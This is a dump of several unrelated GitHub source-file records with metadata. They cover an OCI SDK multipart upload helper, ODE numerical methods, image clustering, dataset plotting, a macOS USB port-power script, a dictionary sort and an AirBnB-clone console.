= self.opc_sse_kms_key_id\n\n # pass on SSE-C values (if any)\n kwargs.update(self.ssec_params)\n\n response = self.object_storage_client.create_multipart_upload(self.manifest[\"namespace\"],\n self.manifest[\"bucketName\"],\n request,\n **kwargs)\n\n self.manifest[\"uploadId\"] = response.data.upload_id\n\n def _upload_part(self, part_num, part, **kwargs):\n \"\"\"\n Upload a part to Object Storage\n\n :param int part_num: Sequence number for where this part belongs in the\n multipart object.\n :param dict part: Part dictionary containing the following keys: \"file_path\" (str), \"hash\" (str), \"offset\" (int), and \"size\" (int)\n :param str opc_client_request_id: (optional)\n The client request ID for tracing.\n :param function progress_callback (optional):\n Callback function to receive the number of bytes uploaded since\n the last call to the callback function.\n \"\"\"\n new_kwargs = {'content_md5': part[\"hash\"]}\n if 'opc_client_request_id' in kwargs:\n new_kwargs['opc_client_request_id'] = kwargs['opc_client_request_id']\n if 'opc_sse_kms_key_id' in kwargs:\n new_kwargs['opc_sse_kms_key_id'] = kwargs['opc_sse_kms_key_id']\n\n # supply SSE-C key (if any) information to upload-part\n new_kwargs.update(self.ssec_params)\n\n # TODO: Calculate the hash without needing to read the file chunk twice.\n # Calculate the hash before uploading. The hash will be used\n # to determine if the part needs to be uploaded. It will also\n # be used to determine if there is a conflict between parts that\n # have previously been uploaded.\n if part[\"hash\"] is None:\n part[\"hash\"] = self.calculate_md5(part[\"file_path\"], part[\"offset\"], part[\"size\"])\n\n retry_strategy = None\n if 'retry_strategy' in kwargs:\n retry_strategy = kwargs['retry_strategy']\n\n if \"opc_md5\" not in part:\n\n # A call to _upload_part_call can be retried because it reads the same data into the\n # body as BufferedPartReader every time before calling put_object, using the kwargs \"offset\" and \"size\"\n if retry_strategy:\n response = retry_strategy.make_retrying_call(\n self._upload_part_call,\n self.object_storage_client,\n namespace=self.manifest[\"namespace\"],\n bucket_name=self.manifest[\"bucketName\"],\n object_name=self.manifest[\"objectName\"],\n upload_id=self.manifest[\"uploadId\"],\n part_file_path=part[\"file_path\"],\n offset=part[\"offset\"],\n size=part[\"size\"],\n part_num=part_num,\n new_kwargs=new_kwargs\n )\n else:\n remaining_tries = self.max_retries\n while remaining_tries > 0:\n try:\n response = self._upload_part_call(self.object_storage_client,\n namespace=self.manifest[\"namespace\"],\n bucket_name=self.manifest[\"bucketName\"],\n object_name=self.manifest[\"objectName\"],\n upload_id=self.manifest[\"uploadId\"],\n part_file_path=part[\"file_path\"],\n offset=part[\"offset\"],\n size=part[\"size\"],\n part_num=part_num,\n new_kwargs=new_kwargs)\n except Exception as e:\n if self._is_exception_retryable(e) and remaining_tries > 1:\n remaining_tries -= 1\n else:\n raise\n else:\n break\n\n if response.status == 200:\n part[\"etag\"] = response.headers['etag']\n part[\"opc_md5\"] = str(response.headers['opc-content-md5'])\n\n if 'progress_callback' in kwargs:\n kwargs['progress_callback'](part[\"size\"])\n\n def _upload_stream_part(self, part_num, part_bytes, **kwargs):\n try:\n if is_fips_mode():\n try:\n m = MD5.md5()\n except InternalError as ex:\n logger.warning(\n \"An exception occur due to {}. Fallback to using hashlib.new('md5', usedforsecurity=false) for md5.\".format(\n ex))\n m = hashlib.new('md5', usedforsecurity=False)\n else:\n m = hashlib.md5()\n\n m.update(part_bytes)\n\n new_kwargs = {'content_md5': base64.b64encode(m.digest()).decode(\"utf-8\")}\n if 'opc_client_request_id' in kwargs:\n new_kwargs['opc_client_request_id'] = kwargs['opc_client_request_id']\n\n # A call to upload_part can be retried because we've already read() the data and retrying the\n # request with same data part_bytes\n remaining_tries = self.max_retries\n while remaining_tries > 0:\n try:\n response = self.object_storage_client.upload_part(\n self.manifest[\"namespace\"],\n self.manifest[\"bucketName\"],\n self.manifest[\"objectName\"],\n self.manifest[\"uploadId\"],\n part_num + 1, # Internally this is 0-based but object storage is 1-based\n io.BytesIO(part_bytes),\n **new_kwargs\n )\n except Exception as e:\n if self._is_exception_retryable(e) and remaining_tries > 1:\n remaining_tries -= 1\n else:\n if 'shared_dict' in kwargs:\n kwargs['shared_dict']['should_continue'] = False\n kwargs['shared_dict']['exceptions'].put(e)\n raise\n else:\n break\n\n if response.status == 200:\n self.manifest['parts'].append({\n 'etag': response.headers['etag'],\n 'opc_md5': str(response.headers['opc-content-md5']),\n 'part_num': part_num\n })\n\n if 'progress_callback' in kwargs:\n kwargs['progress_callback'](len(part_bytes))\n\n except Exception as e:\n if 'shared_dict' in kwargs:\n kwargs['shared_dict']['should_continue'] = False\n kwargs['shared_dict']['exceptions'].put(e)\n raise\n\n finally:\n if 'semaphore' in kwargs:\n kwargs['semaphore'].release()\n\n def upload(self, **kwargs):\n \"\"\"\n Upload an object to Object Storage\n\n :param function progress_callback (optional):\n Callback function to receive the number of bytes uploaded since\n the last call to the callback function.\n :param str opc_client_request_id: (optional)\n The client request ID for tracing.\n \"\"\"\n\n if self.manifest[\"uploadId\"] is None:\n raise RuntimeError('Cannot call upload before initializing an upload using new_upload. ' + UPLOAD_MANAGER_DEBUG_INFORMATION_LOG)\n\n pool = Pool(processes=self.parallel_process_count)\n pool.map(lambda part_tuple: self._upload_part(part_num=part_tuple[0] + 1, part=part_tuple[1], **kwargs),\n enumerate(self.manifest[\"parts\"]))\n pool.close()\n pool.join()\n\n def upload_stream(self, stream_ref, **kwargs):\n\n if self.manifest[\"uploadId\"] is None:\n raise RuntimeError('Cannot call upload before initializing an upload using new_upload. ' + UPLOAD_MANAGER_DEBUG_INFORMATION_LOG)\n\n # The pool of work we have available, and the sempahore to gate work into the pool (since just submitting\n # work to the pool doesn't block on the number of processes available to do work in the pool)\n pool = Pool(processes=self.parallel_process_count)\n semaphore = Semaphore(self.parallel_process_count)\n\n # A dict which will be shared between the threads in our pool (this would not work as-is with processes) but\n # we use threads via multiprocessing.dummy. If we use processes, then a Manager would likely be needed for this.\n #\n # should_continue will only ever be set to False by _upload_stream_part so not too worried if we have multiple\n # writers\n #\n # Queue should be thread safe (though for tracking the exceptions, order doesn't strictly matter)\n shared_dict = {'should_continue': True, 'exceptions': Queue()}\n\n part_counter = 0\n\n apply_async_kwargs = kwargs.copy()\n apply_async_kwargs['semaphore'] = semaphore\n apply_async_kwargs['shared_dict'] = shared_dict\n\n # We pull data from the stream until there is no more\n keep_reading = True\n while keep_reading:\n if six.PY3 and hasattr(stream_ref, 'buffer'):\n read_bytes = stream_ref.buffer.read(self.part_size)\n else:\n read_bytes = stream_ref.read(self.part_size)\n\n semaphore.acquire()\n\n if len(read_bytes) != 0:\n pool.apply_async(self._upload_stream_part, (part_counter, read_bytes), apply_async_kwargs)\n part_counter += 1\n\n keep_reading = (len(read_bytes) == self.part_size) and shared_dict['should_continue']\n\n # If we're here we've either sent off all the work we needed to (and so are waiting on remaining bits to finish)\n # or we terminated early because of an exception in one of our uploads. In either case, close off the pool to\n # any more work and let the remaining work finish gracefully\n pool.close()\n pool.join()\n\n # If we had at least one exception then throw out an error to indicate failure\n if not shared_dict['exceptions'].empty():\n raise MultipartUploadError(error_causes_queue=shared_dict['exceptions'])\n\n # Because we processed in parallel, the parts in the manifest may be out of order. Re-order them based on the part number\n # because commit assumes that they are ordered\n self.manifest['parts'].sort(key=lambda part: part['part_num'])\n\n def commit(self, **kwargs):\n \"\"\"\n Commit the multipart upload.\n\n :return: A Response object with data of type None\n :rtype: None\n \"\"\"\n if self.manifest[\"uploadId\"] is None:\n raise RuntimeError('Cannot call commit before initializing an upload using new_upload or resuming an upload using resume.')\n\n commit_details = models.CommitMultipartUploadDetails()\n\n # Determine which parts to commit and which parts to exclude.\n parts_to_commit = []\n parts_to_exclude = []\n for partNum, part in enumerate(self.manifest[\"parts\"]):\n detail = models.CommitMultipartUploadPartDetails()\n detail.part_num = partNum + 1\n if \"etag\" in part:\n detail.etag = part[\"etag\"]\n parts_to_commit.append(detail)\n else:\n parts_to_exclude.append(partNum + 1)\n\n commit_details.parts_to_commit = parts_to_commit\n commit_details.parts_to_exclude = parts_to_exclude\n\n # Commit the multipart upload\n response = self.object_storage_client.commit_multipart_upload(self.manifest[\"namespace\"],\n self.manifest[\"bucketName\"],\n self.manifest[\"objectName\"],\n self.manifest[\"uploadId\"],\n commit_details,\n **kwargs)\n\n return response\n","repo_name":"oracle/oci-python-sdk","sub_path":"src/oci/object_storage/transfer/internal/multipart_object_assembler.py","file_name":"multipart_object_assembler.py","file_ext":"py","file_size_in_byte":30515,"program_lang":"python","lang":"en","doc_type":"code","stars":345,"dataset":"github-code","pt":"52"} +{"seq_id":"5397176942","text":"#!/usr/bin/python3\n\n\nimport math\nimport copy\n\n\nclass IndexedArray():\n def __init__(self):\n self.values = [0]*1003\n\n def __getitem__(self, i):\n return self.values[i + 2]\n\n def __setitem__(self, i, value):\n self.values[i + 2] = value\n\n\nclass IndexedArray2():\n def __init__(self):\n self.values = []\n for i in range(1003):\n self.values.append(IndexedArray())\n\n def __getitem__(self, ij):\n i, j = ij\n return self.values[i+2][j+2]\n\n def __setitem__(self, ij, value):\n i, j = ij\n self.values[i + 2][j + 2] = value\n\n\ndef Df(values, i, num): # список узлов, порядок, номер узла\n if i == 1:\n return values[num + 1][1] - values[num][1]\n else:\n return Df(values, i - 1, num + 1) - Df(values, i - 1, num)\n\n\ndef taylor(x, x0, func):\n #s = 0\n #for k in range(5):\n # s += func(x0)**k / math.factorial(k) * (x - x0)**k\n #return (9/48 * math.exp(-x0) + 33/48 * math.cos(x0) - 7/48 * math.sin(x0)) * (x - x0)\n\n return (1/2 * math.exp(-x0) + math.sin(x0)/2 + math.cos(x0)/2) + \\\n (-1/2 * math.exp(-x0) + math.cos(x0)/2 - math.sin(x0)/2) * (x - x0) + \\\n (1/4 * math.exp(-x0) - math.sin(x0)/4 - math.cos(x0)/4) * (x - x0)**2 + \\\n (-1/12 * math.exp(-x0) - math.cos(x0)/12 + math.sin(x0)/12) * (x - x0)**3 + \\\n (1/48 * math.exp(-x0) + math.sin(x0)/48 + math.cos(x0)/48) * (x-x0)**4\n\n #return\n #return s\n\n\ndef eta(values_y, k, f, h):\n return h * f(values_y[k][0], values_y[k][1])\n\n\ndef adams(values_y, f, h, N, x0):\n values_eta = copy.deepcopy(values_y)\n for i in range(len(values_eta)):\n values_eta[i][1] = eta(values_y, i, f, h)\n #values_eta[i][1] = h * f(values_y[i][0], values_y[i][1])\n\n for k1 in range(3, N+1):\n k = k1 - 1\n xk1 = x0 + k1 * h\n #print(Df(values_eta, 1, k - 1 + 2))\n yk1 = values_y[k + 2][1] + \\\n values_eta[k + 2][1] + \\\n 1/2 * Df(values_eta, 1, k - 1 + 2) + \\\n 5/12 * Df(values_eta, 2, k - 2 + 2) + \\\n 3/8 * Df(values_eta, 3, k - 3 + 2) + \\\n 251/720 * Df(values_eta, 4, k - 4 + 2)\n\n \"\"\"yk1 = values_y[k + 2][1] + \\\n 1901/30 * 1/(4*3*2) * values_eta[k - 0 + 2][1] + \\\n 1387/60 * (-1)/(3*2) * values_eta[k - 1 + 2][1] + \\\n 218/15 * 1/(2*2) * values_eta[k - 2 + 2][1] + \\\n 637/60 * (-1)/(3*2) * values_eta[k - 3 + 2][1] + \\\n 251/30 * 1/(4*3*2) * values_eta[k - 4 + 2][1]\"\"\"\n values_y.append([xk1, yk1])\n values_eta.append([xk1, eta(values_y, k1 + 2, f, h)])\n\n\ndef rk(values_y, f, h, N, x0):\n for k in range(1, N+1):\n xk, yk = values_y[k + 1]\n xk1 = xk + h\n k1 = h * f(xk, yk)\n k2 = h * f(xk + h / 2, yk + k1 / 2)\n k3 = h * f(xk + h / 2, yk + k2 / 2)\n k4 = h * f(xk1, yk + k3)\n\n yk1 = yk + 1/6 * (k1 + 2 * k2 + 2 * k3 + k4)\n values_y.append([xk1, yk1])\n\n\ndef euler(values_y, f, h, N, x0):\n for k in range(1, N+1):\n xk, yk = values_y[k + 1]\n xk1 = xk + h\n yk1 = yk + f(xk, yk)\n\n values_y.append([xk1, yk1])\n\n\ndef eulerb(values_y, f, h, N, x0):\n for k in range(1, N+1):\n xk, yk = values_y[k + 1]\n xk1 = xk + h\n yk1 = yk + h * f(xk + h/2, yk + h/2 * f(xk, yk))\n\n values_y.append([xk1, yk1])\n\n\ndef eulerc(values_y, f, h, N, x0):\n for k in range(1, N+1):\n xk, yk = values_y[k + 1]\n xk1 = xk + h\n yk1 = yk + h/2 * (f(xk, yk) + f(xk1, yk + h * f(xk, yk)))\n\n values_y.append([xk1, yk1])\n\n\ndef main():\n h = float(input('Введите h: '))\n #h = 0.1\n x0 = float(input('Введите x0: '))\n #x0 = 0\n y0 = float(input('Введите y0: '))\n #y0 = 1\n N = int(input('Введите N: '))\n #N = 10\n\n f = lambda x, y: -y + math.cos(x)\n y_cauchy = lambda x: 0.5 * math.exp(-x) + math.sin(x)/2 + math.cos(x)/2\n\n y_exact = []\n print('Находим точные значения в точках:')\n print(\"{:>10s} | {:<10s}\".format('x', 'y_cauchy(x)'))\n for k in range(-2, N+1):\n xk = x0 + k*h\n yk = y_cauchy(xk)\n y_exact.append(yk)\n print(\"{:>10.5f} | {:<10.5f}\".format(xk, yk))\n print()\n\n y_taylor = []\n print('Находим приближённые решения (с помощью ряда Тейлора) в точках и погрешности:')\n print(\"{:>10s} | {:<15.10s} | {:<15.10s}\".format('x', 'y_tayl(x)', 'abs(y_cauchy - y_n)'))\n for k in range(-2, 3):\n xk = x0 + k*h\n yk = taylor(xk, x0, y_cauchy)\n y_taylor.append(yk)\n print(\"{:>10.5f} | {:<15.10f} | {:<15.10f}\".format(xk, yk, abs(yk - y_exact[k+2])))\n print()\n\n print('Находим приближённые решения (с помощью метода Адамса 4 порядка):')\n print(\"{:>10s} | {:<10s}\".format('x', 'y_adams(x)'))\n values_y_adams = [[x0 + k * h, y_taylor[k+2]] for k in range(-2, 3)]\n adams(values_y_adams, f, h, N, x0)\n for k in range(3, N+1):\n xk = x0 + k*h\n yk = values_y_adams[k+2][1]\n print(\"{:>10.5f} | {:<10.5f}\".format(xk, yk))\n print('Абсолютная погрешность для последнего значения равна: {:.10f}'.format(abs(values_y_adams[-1][1] - y_exact[-1])))\n print()\n\n print('Находим приближённые решения (с помощью метода Рунге-Кутта 4 порядка):')\n print(\"{:>10s} | {:<10s}\".format('x', 'y_rk(x)'))\n values_y_rk = [[x0 + k * h, y_taylor[k+2]] for k in range(-2, 1)]\n rk(values_y_rk, f, h, N, x0)\n for k in range(1, N+1):\n xk = x0 + k*h\n yk = values_y_rk[k+2][1]\n print(\"{:>10.5f} | {:<10.5f}\".format(xk, yk))\n print('Абсолютная погрешность для последнего значения равна: {:.10f}'.format(abs(values_y_rk[-1][1] - y_exact[-1])))\n print()\n\n print('Находим приближённые решения (с помощью метода Эйлера):')\n print(\"{:>10s} | {:<10s}\".format('x', 'y_euler(x)'))\n values_y_euler = [[x0 + k * h, y_taylor[k+2]] for k in range(-2, 1)]\n euler(values_y_euler, f, h, N, x0)\n for k in range(1, N+1):\n xk = x0 + k*h\n yk = values_y_euler[k+2][1]\n print(\"{:>10.5f} | {:<10.5f}\".format(xk, yk))\n print('Абсолютная погрешность для последнего значения равна: {:.10f}'.format(abs(values_y_euler[-1][1] - y_exact[-1])))\n print()\n\n print('Находим приближённые решения (с помощью усовершенствованного метода Эйлера):')\n print(\"{:>10s} | {:<10s}\".format('x', 'y_eulerb(x)'))\n values_y_eulerb = [[x0 + k * h, y_taylor[k+2]] for k in range(-2, 1)]\n eulerb(values_y_eulerb, f, h, N, x0)\n for k in range(1, N+1):\n xk = x0 + k*h\n yk = values_y_eulerb[k+2][1]\n print(\"{:>10.5f} | {:<10.5f}\".format(xk, yk))\n print('Абсолютная погрешность для последнего значения равна: {:.10f}'.format(abs(values_y_eulerb[-1][1] - y_exact[-1])))\n print()\n\n print('Находим приближённые решения (с помощью метода Эйлера-Коши):')\n print(\"{:>10s} | {:<10s}\".format('x', 'y_eulerc(x)'))\n values_y_eulerc = [[x0 + k * h, y_taylor[k+2]] for k in range(-2, 1)]\n eulerc(values_y_eulerc, f, h, N, x0)\n for k in range(1, N+1):\n xk = x0 + k*h\n yk = values_y_eulerc[k+2][1]\n print(\"{:>10.5f} | {:<10.5f}\".format(xk, yk))\n print('Абсолютная погрешность для последнего значения равна: {:.10f}'.format(abs(values_y_eulerc[-1][1] - y_exact[-1])))\n print()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"slasyz/spbu_cw4","sub_path":"cauchy.py","file_name":"cauchy.py","file_ext":"py","file_size_in_byte":7987,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31448769855","text":"from embeddings import get_embeddings\nfrom dimreduction import dimension_reduction\nfrom clustering import image_clustering\nfrom sklearn.cluster import OPTICS\nimport numpy as np\n\nimg_names = [\"list/of/paths/to/images\"]\n\ndef experiment(model, input_shape, normalize, components, algorithm):\n embedding_df = get_embeddings(img_names, model,input_shape, normalize)\n principal_cp = dimension_reduction(embedding_df, components)\n df,classes,avg_pop = image_clustering(embedding_df, principal_cp, algorithm)\n return df, classes, avg_pop\n\ndef experiment_loop(model, input_shape, normalize, components, min_samples, xi):\n embedding_df = get_embeddings(img_names, model,input_shape, normalize)\n class_grid = []\n avpop_grid = []\n for i in range(components[0],components[1],components[2]):\n crow = []\n prow = []\n principal_cp = dimension_reduction(embedding_df,i)\n for j in range(min_samples[0],min_samples[1],min_samples[2]):\n ccol = []\n pcol = []\n for k in np.arange(xi[0],xi[1],xi[2]):\n algorithm = OPTICS(min_samples=j, xi=k)\n df,classes,avg_pop = image_clustering(embedding_df, principal_cp, algorithm)\n print(i,j,k)\n ccol.append(classes)\n pcol.append(avg_pop)\n crow.append(ccol)\n prow.append(pcol)\n class_grid.append(crow)\n avpop_grid.append(prow)\n return class_grid, avpop_grid\n\n\ndef stats_experiment_loop(model, input_shape, normalize, components, min_samples, xi):\n embedding_df = get_embeddings(model, input_shape, normalize)\n grid = []\n for i in range(components[0],components[1],components[2]):\n row = []\n principal_cp = dimension_reduction(embedding_df,i)\n for j in range(min_samples[0], min_samples[1], min_samples[2]):\n col = []\n for k in np.arange(xi[0],xi[1],xi[2]):\n algorithm = OPTICS(min_samples=j, xi=k)\n df,stats = image_clustering(embedding_df, principal_cp, algorithm, return_stats=True)\n print(i,j,k)\n stats['stats']=str(i)+'_'+str(j)+'_'+str(k)\n col.append(stats)\n row.append(col)\n grid.append(row)\n return grid","repo_name":"tanviaanand/Image-Clustering","sub_path":"experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74725987043","text":"import matplotlib.pyplot as plt\nimport os\n\nclass DATA:\n '''\n Class to get the information of ditribution of classes from the annotaion files and aslo the distribution of images in each classes\n forom the loaded json data list we got using EXTRACT class\n '''\n\n #Constructor for initializing variables \n def __init__(self):\n self.class_disttribution = None\n self.img_disttribution = None\n\n #Function to get class distribution from the loaded json array list\n def get_class_distribution(self,json_list=None):\n \n #Seting all the class distribution value to 0\n self.class_disttribution ={\n 'big cardboard':0,\n 'bulky':0,\n 'compactor':0,\n 'dumpster':0,\n 'electrical and electronic waste':0,\n 'garbage bag':0,\n 'glass':0,\n 'green waste':0,\n 'hygiene':0,\n 'plastic bag':0,\n 'recycle waste':0,\n 'textile':0,\n 'cylinders':0,\n 'bag':0\n }\n\n \n\n #iterating thorugh each loaded json data list element\n for i in json_list:\n #Temporary holding one image instances of the object\n temp = i[0]\n for j in temp:\n j['label']=j['label'].lower()\n clss = j['label'].lower()\n self.class_disttribution[clss] +=1\n\n return self.class_disttribution\n \n \n # Function to plot the class distribution\n def plot_dist_class(self,save = False):\n\n #Getting the classes and the values a list for plotting\n classes = list(self.class_disttribution.keys())\n values = list(self.class_disttribution.values())\n \n #Colour to be able to differentiate the different class in the plot\n c = ['red', 'yellow', 'black', 'blue', 'orange']\n\n #returns a tuple containing a figure and axes objects of the differnt values\n fig, ax = plt.subplots(figsize =(16, 9))\n \n #horizontal bar plot\n ax.barh(classes, values,color=c)\n\n for i in ax.patches:\n plt.text(i.get_width()+0.2, i.get_y()+0.5,\n str(round((i.get_width()), 2)),\n fontsize = 10, fontweight ='bold',\n color ='grey')\n \n plt.xlabel(\"Instances\")\n plt.ylabel(\"Classes\")\n plt.title(\"Garbage Classes From all available annotaion files\")\n plt.show()\n if save:\n plt.savefig('all.png')\n \n \n \n #Function to get class distribution from the loaded json array list\n def get_img_distribution(self,json_list,path=True):\n #Seting all the img distribution value to 0\n self.img_disttribution ={\n 'big cardboard':[],\n 'bulky':[],\n 'compactor':[],\n 'dumpster':[],\n 'electrical and electronic waste':[],\n 'garbage bag':[],\n 'glass':[],\n 'green waste':[],\n 'hygiene':[],\n 'plastic bag':[],\n 'recycle waste':[],\n 'textile':[],\n 'cylinders':[],\n 'bag':[]\n }\n\n #iterating thorugh each loaded json data list element\n for i in json_list:\n \n #Temporary holding one instances of the object\n temp= i[0]\n \n '''\n Checking if its a path else we want to get the file name so that we\n will not get a long name with the path also\n '''\n if not path:\n file_name = (os.path.basename(i[3]).split('/')[-1])\n file_name = i[3]\n \n \n for j in temp:\n j['label']=j['label'].lower()\n clss = j['label'].lower()\n if file_name not in self.img_disttribution[clss]:\n self.img_disttribution[clss].append(file_name)\n \n return self.img_disttribution\n \n \n #Function to plot img distribution\n def plot_dist_img(self,save = False):\n #Getting the classes and the values a list for plotting\n classes = list(self.img_disttribution.keys())\n val = list(self.img_disttribution.values())\n\n #since we are getting images name we get the number of files in each class for plotting\n values =[]\n for i in val:\n values.append(len(i))\n\n #Colour to be able to differentiate the different class in the plot\n c = ['red', 'yellow', 'black', 'blue', 'orange']\n\n #returns a tuple containing a figure and axes objects of the differnt values\n fig, ax = plt.subplots(figsize =(16, 9))\n \n #Horizontal bar plot\n ax.barh(classes, values,color=c)\n\n #setting the text and fonts of the class dislayed on the plot\n for i in ax.patches:\n plt.text(i.get_width()+0.2, i.get_y()+0.5,\n str(round((i.get_width()), 2)),\n fontsize = 10, fontweight ='bold',\n color ='grey')\n \n plt.xlabel(\"Number of Images Per Classes\")\n plt.ylabel(\"Classes\")\n plt.title(\"Garbage Classes From all available annotaion files\")\n plt.show()\n if save:\n plt.savefig('all.png') \n\n \n\n \n\n","repo_name":"FluffyP4nd4/data-etl","sub_path":"utils/data_info.py","file_name":"data_info.py","file_ext":"py","file_size_in_byte":5271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5297426446","text":"#!/usr/bin/env python3\nimport json\nimport os\nimport sys\n\nimport usb.control\nimport usb.core\nfrom usb.util import *\n\nCLEAR_FEATURE = 1\nSET_FEATURE = 3\n\nFEATURE_POWER = 8\n\nSAVE_FILE = '/tmp/saved-unpowered-usb-devices.json'\n\ndevices_to_power_down = [\n # (vid, pid)\n (0x04d9, 0x0355), # keyboard\n (0x046d, 0xc092), # mouse\n\n (0x05ac, 0x024f), # drevo keyboard\n]\n\n\ndef set_port_powered(hub, port_number, powered):\n req = SET_FEATURE if powered else CLEAR_FEATURE\n hub.ctrl_transfer(CTRL_OUT | CTRL_TYPE_CLASS | CTRL_RECIPIENT_OTHER, req, wValue=FEATURE_POWER, wIndex=port_number)\n\n\ndef power_up():\n if not os.path.exists(SAVE_FILE):\n return\n\n with open(SAVE_FILE, 'r') as f:\n power_up_record = json.load(f)\n\n for record in power_up_record:\n for dev in usb.core.find(find_all=True, idVendor=record['hub_vendor'], idProduct=record['hub_product']):\n if dev.port_numbers != tuple(record['hub_port_numbers']):\n continue\n set_port_powered(dev, record['port_number'], True)\n\n os.unlink(SAVE_FILE)\n\n\ndef power_down():\n power_up_record = []\n hub_port_pairs = []\n\n if os.path.exists(SAVE_FILE):\n with open(SAVE_FILE, 'r') as f:\n power_up_record = json.load(f)\n\n for idVendor, idProduct in devices_to_power_down:\n dev = usb.core.find(idVendor=idVendor, idProduct=idProduct)\n if dev is None:\n print('device [{}:{}] not found, skipping', hex(idVendor), hex(idProduct))\n continue\n if dev.parent is None:\n print('device [{}:{}] has no parent (is libusb up to date?), skipping', hex(idVendor), hex(idProduct))\n continue\n\n hub = dev.parent\n\n power_up_record.append({\n 'hub_port_numbers': list(hub.port_numbers),\n 'hub_vendor': hub.idVendor,\n 'hub_product': hub.idProduct,\n 'port_number': dev.port_number,\n })\n hub_port_pairs.append((hub, dev.port_number))\n\n with open(SAVE_FILE, 'w') as f:\n json.dump(power_up_record, f, indent=2)\n\n for hub, port in hub_port_pairs:\n set_port_powered(hub, port, False)\n\n\ndef daemon():\n import Foundation\n import objc\n import traceback\n\n class Listener(object):\n def __init__(self):\n center = Foundation.NSDistributedNotificationCenter.defaultCenter()\n\n # how to use selectors: https://web.archive.org/web/20201124040812/https://lethain.com/how-to-use-selectors-in-pyobjc/\n sel_locked = objc.selector(self.on_locked, signature=b'v@:@')\n center.addObserver_selector_name_object_(self, sel_locked, 'com.apple.screenIsLocked', None)\n\n sel_unlocked = objc.selector(self.on_unlocked, signature=b'v@:@')\n center.addObserver_selector_name_object_(self, sel_unlocked, 'com.apple.screenIsUnlocked', None)\n\n def on_locked(self):\n try:\n power_down()\n except Exception:\n traceback.print_exc()\n exit(1)\n\n def on_unlocked(self):\n try:\n power_up()\n except Exception:\n traceback.print_exc()\n exit(1)\n\n listener = Listener()\n Foundation.NSRunLoop.currentRunLoop().run()\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print('No arguments, starting daemon...')\n daemon()\n elif sys.argv[1] == 'up':\n power_up()\n elif sys.argv[1] == 'down':\n power_down()\n elif sys.argv[1] == 'daemon':\n daemon()\n else:\n print('need param:', sys.argv[1])\n","repo_name":"Pear0/Scripts","sub_path":"Mac/usb_power.py","file_name":"usb_power.py","file_ext":"py","file_size_in_byte":3608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5458530458","text":"dic = {'study': [5, 3, 7], \r\n 'to': [11, 4, 2, 6], \r\n 'night': [10, 9]}\r\n \r\n# print original dictionary\r\nprint(\"The original dictionary is : \" ,dic)\r\n \r\n# Sort Dictionary key and value List\r\n# Using sorted() and loop\r\nsort_dict = {}\r\nfor key in sorted(dic):\r\n sort_dict[key] = sorted(dic[key])\r\n \r\n# printing result \r\nprint(\"The sorted dictionary : \" , sort_dict) \r\n","repo_name":"Bpriyanka0/python","sub_path":"priyanka/sort dictionary key and values list .py","file_name":"sort dictionary key and values list .py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72454881445","text":"#!/usr/bin/python3\n\"\"\" importing \"\"\"\n\nimport cmd\nfrom models.base_model import BaseModel\nfrom models.user import User\nfrom models.state import State\nfrom models.city import City\nfrom models.amenity import Amenity\nfrom models.place import Place\nfrom models.review import Review\nimport os\nfrom models import storage\nimport json\nimport shlex\n\n\"\"\"\nAirBnB Clone\n\"\"\"\n\n\nclass HBNBCommand(cmd.Cmd):\n \"\"\" command interpreter \"\"\"\n\n classes = {'BaseModel': BaseModel, 'Amenity': Amenity,\n 'City': City, 'Place': Place, 'Review': Review,\n 'State': State, 'User': User}\n check = [\"BaseModel\", \"Amenity\", \"City\", \"Place\", \"Review\",\n \"State\", \"User\"]\n prompt = '(hbnb)'\n\n def emptyline(self):\n \"\"\" do nothing \"\"\"\n pass\n\n def do_quit(self, line):\n \"\"\" quiting by texting quit \"\"\"\n print(\"\")\n return True\n\n def do_EOF(self, line):\n \"\"\" quiting by textin EOF \"\"\"\n return True\n\n def do_create(self, line):\n \"\"\"Creates a new instance of BaseModel,\n saves it (to the JSON file) and prints the id \"\"\"\n if line == \"\":\n print(\"** class name missing **\")\n elif line not in self.classes:\n print(\"** class doesn't exist **\")\n else:\n line = eval(line)()\n line.save()\n print(line.id)\n\n def do_show(self, line):\n \"\"\" Prints the string representation of an\n instance based on the class name and id\"\"\"\n str_split = shlex.split(line)\n name = \"file.json\"\n check = 0\n if len(str_split) == 0:\n print(\"** class name missing **\")\n elif str_split[0] not in HBNBCommand.classes.keys():\n print(\"** class doesn't exist **\")\n elif len(str_split) == 1:\n print(\"** instance id missing **\")\n else:\n data = storage.all()\n key = str_split[0] + \".\" + str_split[1]\n if key not in data.keys():\n print(\"** no instance found **\")\n else:\n print(data[key])\n\n def do_destroy(self, line):\n \"\"\" Deletes an instance based on the class name and id \"\"\"\n str_split = shlex.split(line)\n name = \"file.json\"\n check = 0\n if len(str_split) == 0:\n print(\"** class name missing **\")\n elif str_split[0] not in HBNBCommand.classes.keys():\n print(\"** class doesn't exist **\")\n elif len(str_split) == 1:\n print(\"** instance id missing **\")\n else:\n data = storage.all()\n key = str_split[0] + \".\" + str_split[1]\n if key not in data.keys():\n print(\"** no instance found **\")\n else:\n del data[key]\n storage.save()\n\n def do_all(self, line):\n \"\"\" Prints all string representation of all\n instances based or not on the class name. \"\"\"\n n = line.split()\n obj_list = []\n if len(n) == 0:\n for value in storage.all().values():\n obj_list.append(value.__str__())\n print(obj_list)\n elif n[0] not in self.check:\n print(\"** class doesn't exist **\")\n else:\n for key, value in storage.all().items():\n if n[0] in key:\n obj_list.append(storage.all()[key].__str__())\n print(obj_list)\n\n def do_update(self, line):\n n = line.split()\n if len(n) == 0:\n print(\"** class name missing **\")\n elif n[0] not in self.check:\n print(\"** class doesn't exist **\")\n elif len(n) == 1:\n print(\"** instance id missing **\")\n else:\n obj = storage.all()\n key = (\"{}.{}\".format(n[0], n[1]))\n if key not in obj:\n print(\"** no instance found **\")\n elif len(n) == 2:\n print(\"** attribute name missing **\")\n elif len(n) == 3:\n print(\"** value missing **\")\n else:\n setattr(obj[key], n[2], n[3])\n\nif __name__ == 